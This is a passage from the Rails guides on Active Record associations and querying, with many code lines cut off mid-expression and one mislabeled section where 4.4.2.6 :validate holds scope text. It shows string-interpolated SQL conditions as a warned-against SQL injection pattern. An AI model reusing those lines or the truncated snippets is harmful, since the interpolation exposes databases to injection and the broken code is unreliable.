of the associated type. The object(s) will be instantiated from the passed
attributes, the link through its foreign key will be created, and, once it
passes all of the validations specified on the associated model, the
associated object will be saved.
@book = @author.books.create(published_at: Time.now,
book_number: "A12345")
@books = @author.books.create([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])
4.3.1.16 collection.create!(attributes = {})

Does the same as collection.create above, but raises

ActiveRecord::RecordInvalid if the record is invalid.
4.3.2 Options for has_many

While Rails uses intelligent defaults that will work well in most situations,

there may be times when you want to customize the behavior of the
has_many association reference. Such customizations can easily be
accomplished by passing options when you create the association. For
example, this association uses two such options:
class Author < ApplicationRecord
has_many :books, dependent: :delete_all, validate: false
end

The has_many association supports these options:

:as
:autosave
:class_name
:counter_cache
:dependent
:foreign_key
:inverse_of
:primary_key
:source
:source_type
:through
:validate
4.3.2.1 :as

Setting the :as option indicates that this is a polymorphic association, as

discussed earlier in this guide.
4.3.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.

4.3.2.3 :class_name

If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if an author has many books, but the actual name of the model
containing books is Transaction, you'd set things up this way:
class Author < ApplicationRecord
has_many :books, class_name: "Transaction"
end
4.3.2.4 :counter_cache

This option can be used to configure a custom named :counter_cache.

You only need this option when you customized the name of your
:counter_cache on the belongs_to association.
4.3.2.5 :dependent

Controls what happens to the associated objects when their owner is

destroyed:
:destroy causes all the associated objects to also be destroyed
:delete_all causes all the associated objects to be deleted directly

from the database (so callbacks will not execute)

:nullify causes the foreign keys to be set to NULL. Callbacks are not
executed.
:restrict_with_exception causes an exception to be raised if there
are any associated records
:restrict_with_error causes an error to be added to the owner if
there are any associated objects
4.3.2.6 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key

on the other model is the name of this model with the suffix _id added.
The :foreign_key option lets you set the name of the foreign key directly:
class Author < ApplicationRecord
has_many :books, foreign_key: "cust_id"
end

In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.3.2.7 :inverse_of

The :inverse_of option specifies the name of the belongs_to association

that is the inverse of this association. Does not work in combination with
the :through or :as options.
class Author < ApplicationRecord
has_many :books, inverse_of: :author
end
class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end
4.3.2.8 :primary_key

By convention, Rails assumes that the column used to hold the primary
key of the association is id. You can override this and explicitly specify
the primary key with the :primary_key option.
Let's say the users table has id as the primary_key but it also has a guid
column. The requirement is that the todos table should hold the guid
column value as the foreign key and not id value. This can be achieved
like this:
class User < ApplicationRecord

has_many :todos, primary_key: :guid

end

Now if we execute @todo = @user.todos.create then the @todo record's

user_id value will be the guid value of @user.
4.3.2.9 :source

The :source option specifies the source association name for a has_many
:through association. You only need to use this option if the name of the
source association cannot be automatically inferred from the association
name.
4.3.2.10 :source_type

The :source_type option specifies the source association type for a

has_many :through association that proceeds through a polymorphic
association.
4.3.2.11 :through

The :through option specifies a join model through which to perform the
query. has_many :through associations provide a way to implement
many-to-many relationships, as discussed earlier in this guide.
4.3.2.12 :validate

If you set the :validate option to false, then associated objects will not
be validated whenever you save this object. By default, this is true:
associated objects will be validated when this object is saved.
4.3.3 Scopes for has_many

There may be times when you wish to customize the query used by
has_many. Such customizations can be achieved via a scope block. For

example:
class Author < ApplicationRecord
has_many :books, -> { where processed: true }
end

You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:
where
extending
group
includes
limit
offset
order
readonly
select
distinct
4.3.3.1 where

The where method lets you specify the conditions that the associated
object must meet.
class Author < ApplicationRecord
has_many :confirmed_books, -> { where "confirmed = 1" },
class_name: "Book"
end

You can also set conditions via a hash:

class Author < ApplicationRecord
has_many :confirmed_books, -> { where confirmed: true },
class_name: "Book"

end

If you use a hash-style where option, then record creation via this
association will be automatically scoped using the hash. In this case, using
@author.confirmed_books.create or @author.confirmed_books.build
will create books where the confirmed column has the value true.
4.3.3.2 extending

The extending method specifies a named module to extend the association

proxy. Association extensions are discussed in detail later in this guide.
4.3.3.3 group

The group method supplies an attribute name to group the result set by,
using a GROUP BY clause in the finder SQL.
class Author < ApplicationRecord
has_many :line_items, -> { group 'books.id' },
through: :books
end
4.3.3.4 includes

You can use the includes method to specify second-order associations

that should be eager-loaded when this association is used. For example,
consider these models:
class Author < ApplicationRecord
has_many :books
end
class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end

class LineItem < ApplicationRecord

belongs_to :book
end

If you frequently retrieve line items directly from authors

(@author.books.line_items), then you can make your code somewhat
more efficient by including line items in the association from authors to
books:
class Author < ApplicationRecord
has_many :books, -> { includes :line_items }
end
class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end
class LineItem < ApplicationRecord
belongs_to :book
end
4.3.3.5 limit

The limit method lets you restrict the total number of objects that will be
fetched through an association.
class Author < ApplicationRecord
has_many :recent_books,
-> { order('published_at desc').limit(100) },
class_name: "Book",
end
4.3.3.6 offset

The offset method lets you specify the starting offset for fetching objects
via an association. For example, -> { offset(11) } will skip the first 11

records.
4.3.3.7 order

The order method dictates the order in which associated objects will be
received (in the syntax used by an SQL ORDER BY clause).
class Author < ApplicationRecord
has_many :books, -> { order "date_confirmed DESC" }
end
4.3.3.8 readonly

If you use the readonly method, then the associated objects will be readonly when retrieved via the association.
4.3.3.9 select

The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated objects. By default, Rails retrieves all
columns.
If you specify your own select, be sure to include the primary key and
foreign key columns of the associated model. If you do not, Rails will
throw an error.
4.3.3.10 distinct

Use the distinct method to keep the collection free of duplicates. This is
mostly useful together with the :through option.
class Person < ApplicationRecord
has_many :readings
has_many :articles, through: :readings
end
person = Person.create(name: 'John')

article = Article.create(name: 'a1')

person.articles << article
person.articles << article
person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Ar
Reading.all.inspect # => [#<Reading id: 12, person_id: 5, artic

In the above case there are two readings and person.articles brings out
both of them even though these records are pointing to the same article.
Now let's set distinct:
class Person
has_many :readings
has_many :articles, -> { distinct }, through: :readings
end

person = Person.create(name: 'Honda')

article = Article.create(name: 'a1')
person.articles << article
person.articles << article
person.articles.inspect # => [#<Article id: 7, name: "a1">]
Reading.all.inspect # => [#<Reading id: 16, person_id: 7, artic

In the above case there are still two readings. However person.articles
shows only one article because the collection loads only unique records.
If you want to make sure that, upon insertion, all of the records in the
persisted association are distinct (so that you can be sure that when you
inspect the association that you will never find duplicate records), you
should add a unique index on the table itself. For example, if you have a
table named readings and you want to make sure the articles can only be
added to a person once, you could add the following in a migration:
add_index :readings, [:person_id, :article_id], unique: true

Once you have this unique index, attempting to add the article to a person

twice will raise an ActiveRecord::RecordNotUnique error:

person = Person.create(name: 'Honda')
article = Article.create(name: 'a1')
person.articles << article
person.articles << article # => ActiveRecord::RecordNotUnique

Note that checking for uniqueness using something like include? is

subject to race conditions. Do not attempt to use include? to enforce
distinctness in an association. For instance, using the article example from
above, the following code would be racy because multiple users could be
attempting this at the same time:

person.articles << article unless person.articles.include?(artic

4.3.4 When are Objects Saved?

When you assign an object to a has_many association, that object is

automatically saved (in order to update its foreign key). If you assign
multiple objects in one statement, then they are all saved.
If any of these saves fails due to validation errors, then the assignment
statement returns false and the assignment itself is cancelled.
If the parent object (the one declaring the has_many association) is unsaved
(that is, new_record? returns true) then the child objects are not saved
when they are added. All unsaved members of the association will
automatically be saved when the parent is saved.
If you want to assign an object to a has_many association without saving
the object, use the collection.build method.
4.4 has_and_belongs_to_many Association Reference

The has_and_belongs_to_many association creates a many-to-many

relationship with another model. In database terms, this associates two
classes via an intermediate join table that includes foreign keys referring to
each of the classes.
4.4.1 Methods Added by has_and_belongs_to_many

When you declare a has_and_belongs_to_many association, the declaring

class automatically gains 16 methods related to the association:
collection
collection<<(object, ...)
collection.delete(object, ...)
collection.destroy(object, ...)
collection=(objects)
collection_singular_ids
collection_singular_ids=(ids)
collection.clear
collection.empty?
collection.size
collection.find(...)
collection.where(...)
collection.exists?(...)
collection.build(attributes = {})
collection.create(attributes = {})
collection.create!(attributes = {})

In all of these methods, collection is replaced with the symbol passed as

the first argument to has_and_belongs_to_many, and
collection_singular is replaced with the singularized version of that
symbol. For example, given the declaration:
class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

Each instance of the Part model will have these methods:

assemblies
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
assemblies=(objects)
assembly_ids
assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})
4.4.1.1 Additional Column Methods

If the join table for a has_and_belongs_to_many association has additional

columns beyond the two foreign keys, these columns will be added as
attributes to records retrieved via that association. Records returned with
additional attributes will always be read-only, because Rails cannot save
changes to those attributes.
The use of extra attributes on the join table in a
has_and_belongs_to_many association is deprecated. If you require this
sort of complex behavior on the table that joins two models in a many-tomany relationship, you should use a has_many :through association
instead of has_and_belongs_to_many.
4.4.1.2 collection

The collection method returns an array of all of the associated objects. If

there are no associated objects, it returns an empty array.

@assemblies = @part.assemblies
4.4.1.3 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by

creating records in the join table.
@part.assemblies << @assembly1

This method is aliased as collection.concat and collection.push.

4.4.1.4 collection.delete(object, ...)

The collection.delete method removes one or more objects from the

collection by deleting records in the join table. This does not destroy the
objects.
@part.assemblies.delete(@assembly1)

This does not trigger callbacks on the join records.

4.4.1.5 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the

collection by running destroy on each record in the join table, including
running callbacks. This does not destroy the objects.
@part.assemblies.destroy(@assembly1)
4.4.1.6 collection=(objects)

The collection= method makes the collection contain only the supplied

objects, by adding and deleting as appropriate.

4.4.1.7 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the

objects in the collection.
@assembly_ids = @part.assembly_ids
4.4.1.8 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain

only the objects identified by the supplied primary key values, by adding
and deleting as appropriate.
4.4.1.9 collection.clear

The collection.clear method removes every object from the collection

by deleting the rows from the joining table. This does not destroy the
associated objects.
4.4.1.10 collection.empty?

The collection.empty? method returns true if the collection does not

contain any associated objects.
<% if @part.assemblies.empty? %>
This part is not used in any assemblies
<% end %>
4.4.1.11 collection.size

The collection.size method returns the number of objects in the

collection.

@assembly_count = @part.assemblies.size
4.4.1.12 collection.find(...)

The collection.find method finds objects within the collection. It uses

the same syntax and options as ActiveRecord::Base.find. It also adds
the additional condition that the object must be in the collection.
@assembly = @part.assemblies.find(1)
4.4.1.13 collection.where(...)

The collection.where method finds objects within the collection based

on the conditions supplied but the objects are loaded lazily meaning that
the database is queried only when the object(s) are accessed. It also adds
the additional condition that the object must be in the collection.

@new_assemblies = @part.assemblies.where("created_at > ?", 2.day

4.4.1.14 collection.exists?(...)

The collection.exists? method checks whether an object meeting the

supplied conditions exists in the collection. It uses the same syntax and
options as ActiveRecord::Base.exists?.
4.4.1.15 collection.build(attributes = {})

The collection.build method returns a new object of the associated

type. This object will be instantiated from the passed attributes, and the
link through the join table will be created, but the associated object will
not yet be saved.

@assembly = @part.assemblies.build({assembly_name: "Transmission

4.4.1.16 collection.create(attributes = {})

The collection.create method returns a new object of the associated

type. This object will be instantiated from the passed attributes, the link
through the join table will be created, and, once it passes all of the
validations specified on the associated model, the associated object will be
saved.

@assembly = @part.assemblies.create({assembly_name: "Transmissio

4.4.1.17 collection.create!(attributes = {})

Does the same as collection.create, but raises

ActiveRecord::RecordInvalid if the record is invalid.
4.4.2 Options for has_and_belongs_to_many

While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
has_and_belongs_to_many association reference. Such customizations can
easily be accomplished by passing options when you create the
association. For example, this association uses two such options:
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { readonly },
autosave: true
end

The has_and_belongs_to_many association supports these options:

:association_foreign_key
:autosave
:class_name
:foreign_key
:join_table

:validate
4.4.2.1 :association_foreign_key

By convention, Rails assumes that the column in the join table used to hold
the foreign key pointing to the other model is the name of that model with
the suffix _id added. The :association_foreign_key option lets you set
the name of the foreign key directly:
The :foreign_key and :association_foreign_key options are useful
when setting up a many-to-many self-join. For example:
class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end
4.4.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.4.2.3 :class_name

If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a part has many assemblies, but the actual name of the model
containing assemblies is Gadget, you'd set things up this way:
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, class_name: "Gadget"
end

4.4.2.4 :foreign_key

By convention, Rails assumes that the column in the join table used to hold
the foreign key pointing to this model is the name of this model with the
suffix _id added. The :foreign_key option lets you set the name of the
foreign key directly:
class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end
4.4.2.5 :join_table

If the default name of the join table, based on lexical ordering, is not what
you want, you can use the :join_table option to override the default.
4.4.2.6 :validate

There may be times when you wish to customize the query used by
has_and_belongs_to_many. Such customizations can be achieved via a
scope block. For example:

class Parts < ApplicationRecord

has_and_belongs_to_many :assemblies, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block.

The following ones are discussed below:

where
extending
group
includes
limit
offset
order
readonly
select
distinct
4.4.3.1 where

The where method lets you specify the conditions that the associated
object must meet.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where "factory = 'Seattle'" }
end

You can also set conditions via a hash:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where factory: 'Seattle' }
end

If you use a hash-style where, then record creation via this association will
be automatically scoped using the hash. In this case, using
@parts.assemblies.create or @parts.assemblies.build will create
orders where the factory column has the value "Seattle".

4.4.3.2 extending

The extending method specifies a named module to extend the association

proxy. Association extensions are discussed in detail later in this guide.
4.4.3.3 group

The group method supplies an attribute name to group the result set by,
using a GROUP BY clause in the finder SQL.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { group "factory" }
end
4.4.3.4 includes

You can use the includes method to specify second-order associations

that should be eager-loaded when this association is used.
4.4.3.5 limit

The limit method lets you restrict the total number of objects that will be
fetched through an association.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order("created_at DESC").limit(50) }
end
4.4.3.6 offset

The offset method lets you specify the starting offset for fetching objects
via an association. For example, if you set offset(11), it will skip the first
11 records.
4.4.3.7 order

The order method dictates the order in which associated objects will be
received (in the syntax used by an SQL ORDER BY clause).
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order "assembly_name ASC" }
end
4.4.3.8 readonly

If you use the readonly method, then the associated objects will be readonly when retrieved via the association.
4.4.3.9 select

The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated objects. By default, Rails retrieves all
columns.
4.4.3.10 distinct

Use the distinct method to remove duplicates from the collection.

4.4.4 When are Objects Saved?

When you assign an object to a has_and_belongs_to_many association,

that object is automatically saved (in order to update the join table). If you
assign multiple objects in one statement, then they are all saved.
If any of these saves fails due to validation errors, then the assignment
statement returns false and the assignment itself is cancelled.
If the parent object (the one declaring the has_and_belongs_to_many
association) is unsaved (that is, new_record? returns true) then the child
objects are not saved when they are added. All unsaved members of the

association will automatically be saved when the parent is saved.

If you want to assign an object to a has_and_belongs_to_many association
without saving the object, use the collection.build method.
4.5 Association Callbacks
Normal callbacks hook into the life cycle of Active Record objects,
allowing you to work with those objects at various points. For example,
you can use a :before_save callback to cause something to happen just
before an object is saved.
Association callbacks are similar to normal callbacks, but they are
triggered by events in the life cycle of a collection. There are four
available association callbacks:
before_add
after_add
before_remove
after_remove

You define association callbacks by adding options to the association

declaration. For example:
class Author < ApplicationRecord
has_many :books, before_add: :check_credit_limit
def check_credit_limit(book)
...
end
end

Rails passes the object being added or removed to the callback.

You can stack callbacks on a single event by passing them as an array:

class Author < ApplicationRecord

has_many :books,
before_add: [:check_credit_limit, :calculate_shipping_charge
def check_credit_limit(book)
...
end
def calculate_shipping_charges(book)
...
end
end

If a before_add callback throws an exception, the object does not get

added to the collection. Similarly, if a before_remove callback throws an
exception, the object does not get removed from the collection.
4.6 Association Extensions
You're not limited to the functionality that Rails automatically builds into
association proxy objects. You can also extend these objects through
anonymous modules, adding new finders, creators, or other methods. For
example:
class Author < ApplicationRecord
has_many :books do
def find_by_book_prefix(book_number)
find_by(category_id: book_number[0..2])
end
end
end

If you have an extension that should be shared by many associations, you

can use a named extension module. For example:
module FindRecentExtension
def find_recent

where("created_at > ?", 5.days.ago)

end
end
class Author < ApplicationRecord
has_many :books, -> { extending FindRecentExtension }
end
class Supplier < ApplicationRecord
has_many :deliveries, -> { extending FindRecentExtension }
end

Extensions can refer to the internals of the association proxy using these
three attributes of the proxy_association accessor:
proxy_association.owner returns the object that the association is a

part of.
proxy_association.reflection returns the reflection object that

describes the association.

proxy_association.target returns the associated object for
belongs_to or has_one, or the collection of associated objects for
has_many or has_and_belongs_to_many.

5 Single Table Inheritance

Sometimes, you may want to share fields and behavior between different
models. Let's say we have Car, Motorcycle and Bicycle models. We will
want to share the color and price fields and some methods for all of
them, but having some specific behavior for each, and separated
controllers too.
Rails makes this quite easy. First, let's generate the base Vehicle model:

$ rails generate model vehicle type:string color:string price:de

Did you note we are adding a "type" field? Since all models will be saved
in a single database table, Rails will save in this column the name of the
model that is being saved. In our example, this can be "Car", "Motorcycle"
or "Bicycle." STI won't work without a "type" field in the table.
Next, we will generate the three models that inherit from Vehicle. For this,
we can use the --parent=PARENT option, which will generate a model that
inherits from the specified parent and without equivalent migration (since
the table already exists).
For example, to generate the Car model:
$ rails generate model car --parent=Vehicle

The generated model will look like this:

class Car < Vehicle
end

This means that all behavior added to Vehicle is available for Car too, as
associations, public methods, etc.

Creating a car will save it in the vehicles table with "Car" as the type
field:
Car.create(color: 'Red', price: 10000)

will generate the following SQL:

INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car',

Querying car records will just search for vehicles that are cars:
Car.all

will run a query like:

SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN (

Active Record Query Interface

Ruby...

1 Retrieving Objects from the Database

To retrieve objects from the database, Active Record provides several
finder methods. Each finder method allows you to pass arguments into it to
perform certain queries on your database without writing raw SQL.
The methods are:
find
create_with
distinct
eager_load
extending
from
group
having
includes
joins
left_outer_joins
limit
lock
none
offset
order
preload
readonly
references
reorder
reverse_order
select
distinct
where

All of the above methods return an instance of ActiveRecord::Relation.

The primary operation of Model.find(options) can be summarized as:

Convert the supplied options to an equivalent SQL query.
Fire the SQL query and retrieve the corresponding results from the
database.
Instantiate the equivalent Ruby object of the appropriate model for
every resulting row.
Run after_find and then after_initialize callbacks, if any.
1.1 Retrieving a Single Object
Active Record provides several different ways of retrieving a single object.
1.1.1 find

Using the find method, you can retrieve the object corresponding to the
specified primary key that matches any supplied options. For example:
# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1

The find method will raise an ActiveRecord::RecordNotFound exception

if no matching record is found.
You can also use this method to query for multiple objects. Call the find
method and pass in an array of primary keys. The return will be an array
containing all of the matching records for the supplied primary keys. For
example:

# Find the clients with primary keys 1 and 10.

client = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, firs

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.id IN (1,10))

The find method will raise an ActiveRecord::RecordNotFound exception

unless a matching record is found for all of the supplied primary keys.
1.1.2 take

The take method retrieves a record without any implicit ordering. For
example:
client = Client.take
# => #<Client id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

SELECT * FROM clients LIMIT 1

The take method returns nil if no record is found and no exception will
be raised.
You can pass in a numerical argument to the take method to return up to
that number of results. For example
client = Client.take(2)
# => [
# #<Client id: 1, first_name: "Lifo">,
# #<Client id: 220, first_name: "Sara">
# ]

The SQL equivalent of the above is:

SELECT * FROM clients LIMIT 2

The take! method behaves exactly like take, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
The retrieved record may vary depending on the database engine.
1.1.3 first

The first method finds the first record ordered by primary key (default).
For example:
client = Client.first
# => #<Client id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1

The first method returns nil if no matching record is found and no

exception will be raised.
If your default scope contains an order method, first will return the first
record according to this ordering.
You can pass in a numerical argument to the first method to return up to
that number of results. For example
client = Client.first(3)
# => [
# #<Client id: 1, first_name: "Lifo">,
# #<Client id: 2, first_name: "Fifo">,
# #<Client id: 3, first_name: "Filo">

# ]

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3

On a collection that is ordered using order, first will return the first
record ordered by the specified attribute for order.
client = Client.order(:first_name).first
# => #<Client id: 2, first_name: "Fifo">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1

The first! method behaves exactly like first, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
1.1.4 last

The last method finds the last record ordered by primary key (default).
For example:
client = Client.last
# => #<Client id: 221, first_name: "Russel">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1

The last method returns nil if no matching record is found and no

exception will be raised.

If your default scope contains an order method, last will return the last
record according to this ordering.
You can pass in a numerical argument to the last method to return up to
that number of results. For example
client = Client.last(3)
# => [
# #<Client id: 219, first_name: "James">,
# #<Client id: 220, first_name: "Sara">,
# #<Client id: 221, first_name: "Russel">
# ]

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3

On a collection that is ordered using order, last will return the last record
ordered by the specified attribute for order.
client = Client.order(:first_name).last
# => #<Client id: 220, first_name: "Sara">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1

The last! method behaves exactly like last, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
1.1.5 find_by

The find_by method finds the first record matching some conditions. For
example:
Client.find_by first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by first_name: 'Jon'
# => nil

It is equivalent to writing:
Client.where(first_name: 'Lifo').take

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT

The find_by! method behaves exactly like find_by, except that it will
raise ActiveRecord::RecordNotFound if no matching record is found. For
example:
Client.find_by! first_name: 'does not exist'
# => ActiveRecord::RecordNotFound

This is equivalent to writing:

Client.where(first_name: 'does not exist').take!

1.2 Retrieving Multiple Objects in Batches

We often need to iterate over a large set of records, as when we send a
newsletter to a large set of users, or when we export data.

This may appear straightforward:

# This is very inefficient when the users table has thousands of

User.all.each do |user|
NewsMailer.weekly(user).deliver_now
end

But this approach becomes increasingly impractical as the table size

increases, since User.all.each instructs Active Record to fetch the entire
table in a single pass, build a model object per row, and then keep the
entire array of model objects in memory. Indeed, if we have a large
number of records, the entire collection may exceed the amount of
memory available.
Rails provides two methods that address this problem by dividing records
into memory-friendly batches for processing. The first method, find_each,
retrieves a batch of records and then yields each record to the block
individually as a model. The second method, find_in_batches, retrieves a
batch of records and then yields the entire batch to the block as an array of
models.
The find_each and find_in_batches methods are intended for use in the
batch processing of a large number of records that wouldn't fit in memory
all at once. If you just need to loop over a thousand records the regular find
methods are the preferred option.
1.2.1 find_each

The find_each method retrieves a batch of records and then yields each
record to the block individually as a model. In the following example,
find_each will retrieve 1000 records (the current default for both
find_each and find_in_batches) and then yield each record individually
to the block as a model. This process is repeated until all of the records
have been processed:

User.find_each do |user|
NewsMailer.weekly(user).deliver_now
end

To add conditions to a find_each operation you can chain other Active

Record methods such as where:
User.where(weekly_subscriber: true).find_each do |user|
NewsMailer.weekly(user).deliver_now
end
1.2.1.1 Options for find_each

The find_each method accepts most of the options allowed by the regular
find method, except for :order and :limit, which are reserved for
internal use by find_each.
Three additional options, :batch_size, :start and :finish, are available
as well.
:batch_size

The :batch_size option allows you to specify the number of records to be

retrieved in each batch, before being passed individually to the block. For
example, to retrieve records in batches of 5000:
User.find_each(batch_size: 5000) do |user|
NewsMailer.weekly(user).deliver_now
end

:start

By default, records are fetched in ascending order of the primary key,

which must be an integer. The :start option allows you to configure the
first ID of the sequence whenever the lowest ID is not the one you need.

This would be useful, for example, if you wanted to resume an interrupted

batch process, provided you saved the last processed ID as a checkpoint.
For example, to send newsletters only to users with the primary key
starting from 2000, and to retrieve them in batches of 5000:
User.find_each(start: 2000, batch_size: 5000) do |user|
NewsMailer.weekly(user).deliver_now
end

:finish

Similar to the :start option, :finish allows you to configure the last ID
of the sequence whenever the highest ID is not the one you need. This
would be useful, for example, if you wanted to run a batch process, using a
subset of records based on :start and :finish
For example, to send newsletters only to users with the primary key
starting from 2000 up to 10000 and to retrieve them in batches of 5000:

User.find_each(start: 2000, finish: 10000, batch_size: 5000) do

NewsMailer.weekly(user).deliver_now
end

Another example would be if you wanted multiple workers handling the

same processing queue. You could have each worker handle 10000 records
by setting the appropriate :start and :finish options on each worker.
1.2.2 find_in_batches

The find_in_batches method is similar to find_each, since both retrieve

batches of records. The difference is that find_in_batches yields batches
to the block as an array of models, instead of individually. The following
example will yield to the supplied block an array of up to 1000 invoices at
a time, with the final block containing any remaining invoices:

# Give add_invoices an array of 1000 invoices at a time

Invoice.find_in_batches do |invoices|
export.add_invoices(invoices)
end
1.2.2.1 Options for find_in_batches

The find_in_batches method accepts the same :batch_size, :start and

:finish options as find_each.

2 Conditions
The where method allows you to specify conditions to limit the records
returned, representing the WHERE-part of the SQL statement. Conditions can
either be specified as a string, array, or hash.
2.1 Pure String Conditions
If you'd like to add conditions to your find, you could just specify them in
there, just like Client.where("orders_count = '2'"). This will find all
clients where the orders_count field's value is 2.
Building your own conditions as pure strings can leave you vulnerable to
SQL injection exploits. For example, Client.where("first_name LIKE
'%#{params[:first_name]}%'") is not safe. See the next section for the
preferred way to handle conditions using an array.
2.2 Array Conditions
Now what if that number could vary, say as an argument from
somewhere? The find would then take the form:
Client.where("orders_count = ?", params[:orders])

Active Record will take the first argument as the conditions string and any
additional arguments will replace the question marks (?) in it.
If you want to specify multiple conditions:

Client.where("orders_count = ? AND locked = ?", params[:orders],

In this example, the first question mark will be replaced with the value in
params[:orders] and the second will be replaced with the SQL

representation of false, which depends on the adapter.

This code is highly preferable:
Client.where("orders_count = ?", params[:orders])

to this code:
Client.where("orders_count = #{params[:orders]}")

because of argument safety. Putting the variable directly into the

conditions string will pass the variable to the database as-is. This means
that it will be an unescaped variable directly from a user who may have
malicious intent. If you do this, you put your entire database at risk
because once a user finds out they can exploit your database they can do
just about anything to it. Never ever put your arguments directly inside the
conditions string.
For more information on the dangers of SQL injection, see the Ruby on
Rails Security Guide.
2.2.1 Placeholder Conditions

Similar to the (?) replacement style of params, you can also specify keys
in your conditions string along with a corresponding keys/values hash:

Client.where("created_at >= :start_date AND created_at <= :end_d

{start_date: params[:start_date], end_date: params[:end_date]}

This makes for clearer readability if you have a large number of variable
conditions.
2.3 Hash Conditions

Active Record also allows you to pass in hash conditions which can
increase the readability of your conditions syntax. With hash conditions,
you pass in a hash with keys of the fields you want qualified and the
values of how you want to qualify them:
Only equality, range and subset checking are possible with Hash
conditions.
2.3.1 Equality Conditions

Client.where(locked: true)

This will generate SQL like this:

SELECT * FROM clients WHERE (clients.locked = 1)

The field name can also be a string:

Client.where('locked' => true)

In the case of a belongs_to relationship, an association key can be used to

specify the model if an Active Record object is used as the value. This
method works with polymorphic relationships as well.
Article.where(author: author)
Author.joins(:articles).where(articles: { author: author })

The values cannot be symbols. For example, you cannot do

Client.where(status: :active).
2.3.2 Range Conditions

Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.m

This will find all clients created yesterday by using a BETWEEN SQL
statement:

SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12

This demonstrates a shorter syntax for the examples in Array Conditions

2.3.3 Subset Conditions

If you want to find records using the IN expression you can pass an array
to the conditions hash:
Client.where(orders_count: [1,3,5])

This code will generate SQL like this:

SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))

2.4 NOT Conditions

NOT SQL queries can be built by where.not:
Client.where.not(locked: true)

In other words, this query can be generated by calling where with no

argument, then immediately chain with not passing where conditions. This
will generate SQL like this:
SELECT * FROM clients WHERE (clients.locked != 1)

3 Ordering
To retrieve records from the database in a specific order, you can use the
order method.
For example, if you're getting a set of records and want to order them in
ascending order by the created_at field in your table:
Client.order(:created_at)
# OR
Client.order("created_at")

You could specify ASC or DESC as well:

Client.order(created_at: :desc)
# OR
Client.order(created_at: :asc)
# OR
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")

Or ordering by multiple fields:

Client.order(orders_count: :asc, created_at: :desc)
# OR
Client.order(:orders_count, created_at: :desc)
# OR
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")

If you want to call order multiple times, subsequent orders will be

appended to the first:
Client.order("orders_count ASC").order("created_at DESC")

# SELECT * FROM clients ORDER BY orders_count ASC, created_at DE

4 Selecting Specific Fields

By default, Model.find selects all the fields from the result set using
select *.
To select only a subset of fields from the result set, you can specify the
subset via the select method.
For example, to select only viewable_by and locked columns:
Client.select("viewable_by, locked")

The SQL query used by this find call will be somewhat like:
SELECT viewable_by, locked FROM clients

Be careful because this also means you're initializing a model object with
only the fields that you've selected. If you attempt to access a field that is
